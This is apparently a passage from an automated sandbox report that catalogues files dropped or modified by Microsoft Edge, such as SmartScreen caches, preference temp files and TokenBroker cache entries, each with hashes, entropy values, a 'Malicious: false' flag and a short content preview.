Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0075165782059665
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclX1SQegAYn:YWLSGTt1o9LuLgfGBPAzkVj/T8ll6A
MD5:	36F32B0A2F2AAB0851E0AC783F1C7E3D
SHA1:	7086DB7618F60F278E34165FA7B42A874EBC8C8A
SHA-256:	F8DDA75DCC1320351A8D2292E9FAC343A61985961FF009E0514756BDED0C62DA
SHA-512:	38A8AFBD4B683FEEF3F489CBF69D2C52E3C6601C9698E999DB42A238A0D5427CA19CA1472B7D978168791A2CDF3A1ABE09EF9990658A8010D3A950B7B2E4AE57
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732022755289456}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a1b4230e-0641-4c0c-852d-d152ff32258e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44797
Entropy (8bit):	6.095773071342149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xBiKKGf45ipiojwMFLN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yOjbLN7VLyMV/YoskFoz
MD5:	2E0C556446F8FACCF1AB022AF71A0783
SHA1:	39DE10152EDC014787F67E2573C16224D30486F6
SHA-256:	CF82AB451CD9DE8217B744D7C0BB8D9D5DAB49475EE1D2E52D16C2478B0D0B17
SHA-512:	31F3914BD09B4BC4D91DE5A7423752C868795CCF0C0055BA3DC907AD1C6453ACAA8BF71017D4FBA07CA1371CE0FCCCACDCFA1AE74A43D42C5E3DA5F862B75995
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a7f91e1e-9faf-429b-b12a-1aa3ae687497.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44703
Entropy (8bit):	6.095499548578455
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHiKKGf45iLFSZuZPL4N7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynZyN7VLyMV/YoskFoz
MD5:	331A5FFE031083C2F11B430835269D40
SHA1:	581A0D58A08E257799209A3B0B3FABFC4B88C61A
SHA-256:	1C270A497E69AC3AFE03194FC42FF5CD0D59561A497396FB593F0E481A201BC3
SHA-512:	199C4FB74A772B22A077191C25A6B897890CEA9988ABAD3DD41E7633B432B4F81052961E478EED914CC289136DC2205249FCC0E9D56AFE83390F22B5A4EB8A74
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a9faf3c3-7450-489f-94e5-30218f5ce4fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46159
Entropy (8bit):	6.08695316722931
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQcrQgxa2PKKGf45ipiojwMFLXt8wMuCio07DRo+yM/42cRaLMos7j:+Mk1rT8HRavbLXphFo07VLyMV/Yosf
MD5:	2144E37DB7AFAEF6AC62DBB5870B18FC
SHA1:	444233CA617312E8F124071D0683ECF35327C482
SHA-256:	58F1750DCED8DDBB49F7564C0BF0D39B6A433FF95B06393FAB709806F314C04D
SHA-512:	DBF096F846BE27BF6BF554199752F3B5CCE565F09799570575BBA99154ECBB258D5D904E4DDA8471E17C0BC71CA437217C6B4A6BAB03C34840999B58093D8672
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"909b2fc6-3693-46fd-b2e7-6b3710d3b120"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\df3e8edd-0f73-4b7f-87bf-01c811106354.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46236
Entropy (8bit):	6.086874641618324
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQcrQgxn2PKKGf45iEiojwMFLXt8wMuCio07DRo+yM/42cRaLMos7j:+Mk1rT8HRnvmLXphFo07VLyMV/Yosf
MD5:	EA742CC20D1D0DAB7E65D9116DCD678B
SHA1:	4C44B0A5B4D0807CECABF6A6F82A4264F103CAF2
SHA-256:	53C9D498DB7BA58815A40187B32D370DDB8948914273F8032B13AE0099E8524A
SHA-512:	FA1693046D0D9E8D2C6BAF15CD881C0B551B3EEF083A4F2D34B892E3EEAEC20D40C35F48C23170B5375BB6B10A0D9773810AAA3EDD2AE5FED669B6CCC2CAC1CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"909b2fc6-3693-46fd-b2e7-6b3710d3b120"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\edb9d783-a5dc-4b97-bf0c-5a963709d37e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44703
Entropy (8bit):	6.095499548578455
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHiKKGf45iLFSZuZPL4N7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynZyN7VLyMV/YoskFoz
MD5:	331A5FFE031083C2F11B430835269D40
SHA1:	581A0D58A08E257799209A3B0B3FABFC4B88C61A
SHA-256:	1C270A497E69AC3AFE03194FC42FF5CD0D59561A497396FB593F0E481A201BC3
SHA-512:	199C4FB74A772B22A077191C25A6B897890CEA9988ABAD3DD41E7633B432B4F81052961E478EED914CC289136DC2205249FCC0E9D56AFE83390F22B5A4EB8A74
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8470347198723425
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxN+xl9Il8uSqr0D4lMu4X5zl8SeiWLcV1d1rc:me6YT0MD4X5zGedV+
MD5:	82D81BFDA87BAAB2E5FFF23574D35B68
SHA1:	8CD5C69C07C9866AAFE0CFC59D0E99609919DB3D
SHA-256:	36286EE0A36498D6B3D6A64139F4E11485A7602492F7ED434E19ADBA9D7CE7FB
SHA-512:	31689D748224001AD6FD6C65B6EF778E705314A2596C412374E5764FB46F972D6DEC5F121BF2EFBB2EE4BEB28EC8D3532C1F79607EF84DBC579EF654C76B225C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.s.T.Q.K.Q.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.P.j.E.o.B.b.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.005621782927136
Encrypted:	false
SSDEEP:	48:uiTrlKxExT3xD9Il8uSe6tF5ry95p/oHAPNub/KQoiaR4Id0TG80NMXQMxxNTMzh:lYIC7BKAPNBIIduZ0INs/o7sXzB+B4
MD5:	3BD559B26435B82D3DD1332B1E3E3428
SHA1:	CBE611F4C747E048E8288363537958857219DA0C
SHA-256:	C187B8EF4996625367B0C153E0D55DF4FAD541110D4C19DBE8025CA759D78432
SHA-512:	C29D81F9AEAC020BD19DE4B98C4233BEA1113FFBA6D9F29CBE64E1F7B34517B0358AB3DDBD0B84FD6C7372916DF835226D740E9735ACEE4EC7032F88791CEEFB
Malicious:	false
